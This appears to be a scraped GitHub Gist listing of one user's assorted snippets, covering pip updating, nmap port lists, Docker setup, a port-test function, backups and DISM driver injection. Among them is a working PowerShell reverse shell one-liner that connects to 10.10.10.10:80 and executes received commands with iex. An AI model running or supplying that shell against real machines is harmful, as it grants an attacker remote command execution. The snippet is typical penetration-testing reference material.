Skip to content

Instantly share code, notes, and snippets.

@royharoush
royharoush / udpate all pips
Created March 19, 2019 13:19
udpate all pips
find -iname "*.py" | xargs -I{} pip freeze | xargs -I{} pip install {}
@royharoush
royharoush / powershell_reverse_shell.ps1
Created February 10, 2019 12:41 — forked from egre55/powershell_reverse_shell.ps1
powershell reverse shell one-liner by Nikhil SamratAshok Mittal @samratashok
# Nikhil SamratAshok Mittal: http://www.labofapenetrationtester.com/2015/05/week-of-powershell-shells-day-1.html
$client = New-Object System.Net.Sockets.TCPClient("10.10.10.10",80);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()
@royharoush
royharoush / commonport.sh
Last active December 9, 2018 08:05
get most commonly used ports from nmap
cat /usr/share/nmap/nmap-services | grep -i tcp| sort -k 3 -n -r | awk '{print $2}' | cut -d"/" -f1 | head -500
cat /usr/share/nmap/nmap-services | grep -i tcp| sort -k 3 -n -r | awk '{print $2}' | cut -d"/" -f1 | head -500 > ports
{
"background": {
"scripts": [ "vendor/jquery-1.7.2_min.js", "vendor/encoder.js", "background.js" ]
},
"browser_action": {
"default_icon": "img/umbrella_19.png",
"default_popup": "popup.html",
"default_title": "Copy URLs to clipboard"
},
"commands": {
#!/bin/bash
# update apt-get
export DEBIAN_FRONTEND="noninteractive"
sudo apt-get update
# remove previously installed Docker
sudo apt-get remove docker docker-engine docker.io* lxc-docker* -y
# install dependencies 4 cert
@royharoush
royharoush / testPort.ps1
Created November 15, 2017 11:58
a quick script to test for open ports, use by importing the module then calling with ip and port
function Test-Port($hostname, $port)
{
# This works no matter in which form we get $host - hostname or ip address
try {
$ip = [System.Net.Dns]::GetHostAddresses($hostname) |
select-object IPAddressToString -expandproperty IPAddressToString
if($ip.GetType().Name -eq "Object[]")
{
#If we have several ip's for that address, let's take first one
$ip = $ip[0]
#!/bin/bash
# update apt-get
export DEBIAN_FRONTEND="noninteractive"
sudo apt-get update
# remove previously installed Docker
sudo apt-get purge lxc-docker*
sudo apt-get purge docker.io*
[Commands]
1\Name=Unpin
1\Command="
copyq: plugins.itempinned.unpinData()
"
1\Input=application/x-copyq-item-pinned
1\InMenu=true
1\Icon=\xf08d
1\Shortcut=ctrl+shift+p
2\Name=Pin
@royharoush
royharoush / backup.sh
Created July 18, 2017 09:17
backup all text files in /root folder
find /root -size -20M -exec file {} \; | grep ".*: .* text" | sed "s;\(.*\): .* text.*;\1;" > kalibackup.list && tar cvzf /mnt/hgfs/VMSharedFolder/en/kali-`date '+%m%d%y'`.tar.gz --files-from=kalibackup.list
#drivers http://www.gc14.com/hcon/downloads/USB-IntelAndGenericDrivers.rar
#the sources folder in windows installation contains a bad copy of dism, so we need to ponit directly at the windows 7 dism version.
mkdir c:\temp\mount1
cd d:\sources\
C:\Windows\SysWOW64\Dism.exe /mount-wim /wimfile:boot.wim /index:2 /mountdir:c:\temp\mount1
cd d:\sources\drivers
C:\Windows\SysWOW64\Dism.exe /image:c:\temp\mount1 /Add-Driver /driver:d:\sources\drivers /recurse
C:\Windows\SysWOW64\Dism.exe /unmount-wim /mountdir:c:\temp\mount1\ /commit